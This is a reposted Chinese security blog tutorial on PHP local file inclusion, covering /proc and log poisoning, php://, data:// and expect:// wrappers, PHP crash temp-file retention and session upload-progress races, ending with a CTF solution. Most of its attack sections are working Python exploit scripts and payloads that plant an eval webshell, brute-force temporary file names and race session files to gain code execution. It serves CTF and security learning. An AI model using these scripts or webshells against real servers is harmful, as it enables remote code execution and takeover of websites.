文件包含漏洞

admin 2022年1月6日01:37:25评论72 views字数 7016阅读23分23秒阅读模式

照搬大佬的文章,总结得太详细了。敬佩。

文件包含漏洞
参考文章:
php文件包含漏洞
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

/proc

/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。

1
2
3
4
5
6
7
8
9
对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码:
/proc/[pid]/cmdline ([pid]指向进程所对应的终端命令)
有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cmd/ ([pid]指向进程的运行目录)
环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ ([pid]指向进程运行时的环境变量)
/proc/[pid]/fd/[num]读取,这个目录包含了进程打开的每一个文件的链接
/proc/[pid]/cwd/文件名 — 指向当前进程运行目录的一个符号链接
proc/self/pwd/ 代表的是当前路径

/proc/self/environ
需要有/proc/self/environ的读取权限

如果可以读取,修改User-Agent为php代码,然后lfi点包含,实现rce

/proc/self/fd/1,2,3…
需要有/proc/self/fd/1的读取权限

类似于/proc/self/environ,不同是在referer或报错等写入php代码,然后lfi点包含,实现rce

/proc/self/cwd/文件名
/proc/self/cwd/flag.py
指向当前进程运行目录的一个符号链接,如果知道该进程的相关文件名,不知道目录位置,可以这样读

proc/self/pwd/代表的是当前路径

伪协议

文件包含漏洞
php://filter用来读文件

不需要allow_url_include和allow_url_fopen开启

1
php://filter/read=convert.base64-encode/resource=

php://input
可以实现代码执行

需要allow_url_include:on

1
2
3
4
5
6
7
8

data://
需要allow_url_fopen,allow_url_include均开启

data://text/plain,<?php phpinfo()?>
data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

expect://
默认不开启,需要安装PECL package扩展
需要allow_url_include开启

1
expect://[command]

/var/log/

ssh日志
需要有/var/log/auth.log的读取权限

如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell

连接ssh时输入ssh <?php phpinfo(); ?>@192.168.211.146 php代码便会保存在/var/log/auth.log中

然后lfi点包含,实现rce

apache日志
需要有/var/log/apache2/…的读取权限

包含access.log和error.log来rce

但log文件过大会超时返回500,利用失败

更多日志文件地址见:https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt

with phpinfo

PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下

  1. 请求到达;
  2. 创建临时文件,并写入上传文件的内容;文件为/tmp/php[w]{6}
  3. 调用相应PHP脚本进行处理,如校验名称、大小等;
  4. 删除临时文件。

https://www.anquanke.com/post/id/177491

with php崩溃

php Segfault
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1.php < 7.2

1
php://filter/string.strip_tags/resource=/etc/passwd

2.php7 老版本通杀

1
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
try:
requests.post(url, files=files)
except Exception as e:
print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file(lfi_url, file_content)

爆破tmp文件名
然后爆破临时文件名来包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = base_url+"?"+parameter+"=/tmp/php"+filename
print url
try:
response = requests.get(url)
if 'success' in response.content:
print "[+] Include success!"
print "url:"+url
exit()
except Exception as e:
print e

session

如果session.upload_progress.enabled=On开启,就可以包含session来getshell,并且这个参数在php中是默认开启的

https://php.net/manual/zh/session.upload-progress.php

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

也就是说session中会添加session.upload_progress.prefix+$_POST[ini_get['session.upload_progress.name']],而session.upload_progress.name是可控的,所以就可以在session写入php代码,然后包含session文件来rce

session.upload_progress.prefix和session.upload_progress.name还有session的储存位置session.save_path都能在phpinfo中获取,默认为:
文件包含漏洞
同时能看到session.upload_progress.cleanup是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取

下面测试一下,构造一个html来发包

1
2
3
4
5
6
<form action="http://192.168.211.146/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

在数据包里加入PHPSESSION,才能生成session文件

burp不断发包,成功包含

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import threading

webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url='http://192.168.211.146/lfi.php'
r=requests.session()

def POST():
while True:
file={
"upload":('daolgts.jpg', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":'PHPSESSID=123456'
}
r.post(url,files=file,headers=headers,data=data)

def READ():
while True:
event.wait()
t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456")
if 'success' not in t.text:
print('[+]retry')
else:
print(t.text)
event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

例题

[NPUCTF2020]ezinclude

方法一
php版本是7.0.33,大于5.4,可以尝试利用session.upload_progress进行session文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import requests
import threading

host = 'http://4da37c54-0605-4773-b4a7-11235251b69c.node3.buuoj.cn/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

写进shell.php,执行phpinfo即可找到flag。

方法二:

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
import re
file_data={
'file': BytesIO(b"<?php eval($_POST[cmd]);")
}
url="http://1e9ab8e3-1c1c-485c-bb3b-c2ed35ce3a39.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except Exception as e:
print(e)

有dir.php,可得/tmp目录下的文件,最后flag在phpinfo中

参考文章:
https://www.anquanke.com/post/id/177491

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:37:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件包含漏洞http://cn-sec.com/archives/721971.html

发表评论

匿名网友 填写信息